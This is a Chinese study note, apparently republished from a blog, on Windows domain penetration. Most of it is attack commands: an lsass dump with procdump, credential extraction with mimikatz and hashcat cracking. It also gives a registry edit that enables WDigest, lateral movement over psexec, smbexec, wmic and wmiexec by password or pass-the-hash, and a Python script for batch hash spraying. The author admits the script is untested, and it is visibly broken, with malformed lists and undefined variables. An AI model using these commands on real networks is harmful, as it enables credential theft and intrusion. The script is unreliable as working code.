网安学习-内网渗透3
Posted YAy17
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网安学习-内网渗透3相关的知识,希望对你有一定的参考价值。
目录
#案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)
#psexec第一种:现有ipc链接,psexec需要明文或者hash传递
#psexec第二种:不用建立ipc,直接提供明文账号密码来连接
#案例4-域横向移动以上服务hash批量利用-python编译exe
#知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码。
Windows2012以下版本如安装KB2871997补丁,同样无法从内存中获取明文密码。
针对以上的情况,我们提供了4种方式解决此类问题:
- 利用哈希hash传递(pth、ptk等)进行移动
- 利用其他服务协议(SMB、WMI等)进行哈希移动
- 利用注册表操作开启Wdigest Auth值进行获取
- 利用工具或者第三方平台(Hashcat)进行破解获取
#知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash。
#案例1-Prodump+Mimikatz配合获取
#Prodump配合Mimikatz
prodump -accepteula -ma lsass.exe lsass.dmp #在目标主机上执行该条命令,得到了lsass.dmp文件,之后就是将这个文件移动到我们的本地主机,使用mimikatz进行恢复
mimikatz上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
hashcat的使用方式:
hashcat -a 0 -m 1000 hash file --force //其中的1000代表着协议
#案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)
利用SMB服务可以通过明文或者hash传递来远程执行,条件445服务端口开放。
#psexec第一种:现有ipc链接,psexec需要明文或者hash传递
net use \\\\192.168.3.32\\ipc$ "admin!@#45" /user:administrator
psexec \\\\192.168.3.32 -s cmd #需要先有ipc链接 -s 以system权限运行
#psexec第二种:不用建立ipc,直接提供明文账号密码来连接
psexec \\\\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :NTLM值 ./administrator@192.168.3.32
#非官方自带-参考impacket工具包使用,操作简单,容易被杀
#smbexec无需先icp连接,明文或者hash传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :NTLM值 ./administrator@192.168.3.32
smbexec -hashes :NTLM值 god/administrator@192.168.3.21
#注册表修改
reg add
HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#案例3-域横向移动WMI服务利用-cscript , wmiexec , wmic
WMI(Windows Management Instrumentation)是通过135端口进行利用,支持用户明文或者是hash的方式进行认证,并且该方法不会在目标日志系统中留下痕迹
#自带WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\\1.txt"
#自带cscript明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
看见通过cscript执行后,回显,连接成功,执行ipconfig,得到了192.168.3.21。
#套件impacket wmiexec 明文或者hash传递 有回显exe版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec domain/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :NTLM值 ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :NTLM值 god/administrator@192.168.3.21 "whoami"
上面的图片就是分别使用wmiexec命令分别去连接本地用户和域内用户。执行whoami,返回administrator。上面的两个连接都是用明文实现的。
下面来看一下通过NTLM值来实现。
同样是使用wmiexec加上-hashes参数对应上NTLM值,连接192.168.3.32本地用户。
#案例4-域横向移动以上服务hash批量利用-python编译exe
第一步由于我们已经取得了webserver的权限,之后便是通过mimikatz去收集相关的密码信息。
收集到明文密码admin!@#45,假设我们没有获得明文的密码,只是得到了hash值,也就是说NTLM值,为什么这里我们没有使用LM值,是因为服务器大部分使用的都是windows2003之后的,所以优先收集NTLM,当然也可以收集以下LM值。
之后使用之前的命令(相关命令,在之前的笔记有记录到)收集域中存活的主机。
之后再通过webserver上的域用户去收集整个域中的用户。
之后就可以将我们收集的主机ip、用户名、密码写入到python文件中,将文件转为exe文件。
pyinstaller.exe -F python文件名.py
生成的exe文件默认存放于script目录下的dist目录下。
之后便开始运行这个exe文件,批量的去碰撞域和本地的账号。
发现碰撞成功192.168.3.29的域用户。使用的NTLM值(也就是hash传递)也是webserver的NTLM值。
之后的操作便是通过登录192.168.3.29的域用户,再收集该主机上的密码信息。
收集到192.168.3.29的NTLM值,再完善脚本,再次编译为exe文件,再进行上述的碰撞操作。不断完善直到拿到多台主机的信息。
脚本如下:(脚本应该没问题吧?我没有实战去测试,自己改了一下,user其实没有必要写的)
import os,time
ips=
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.31'
user =
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack'
'mary'
'vpnadm'
'webadmin'
NTLM=
'NTML1',
'NTLM2'
for ip in ips:
for user in users:
for mima in passs:
exec1 = "wmiexec -hashes :"+NTLM+" god/domain@"+ips+" whoami"
exec2 = "wmiexec -hashes :"+NTLM+" ./domain@"+ips+" whoami"
print("----->"+exec1+"<-----")
print("----->"+exec2+"<-----")
os.system(exec1)
os.system(exec2)
time.sleep(0.5)
(没有进行实战的操作,只是学习了整个内网渗透的思路。)
以上是关于网安学习-内网渗透3的主要内容,如果未能解决你的问题,请参考以下文章
《内网安全攻防:渗透测试实战指南》读书笔记:跨域攻击分析及防御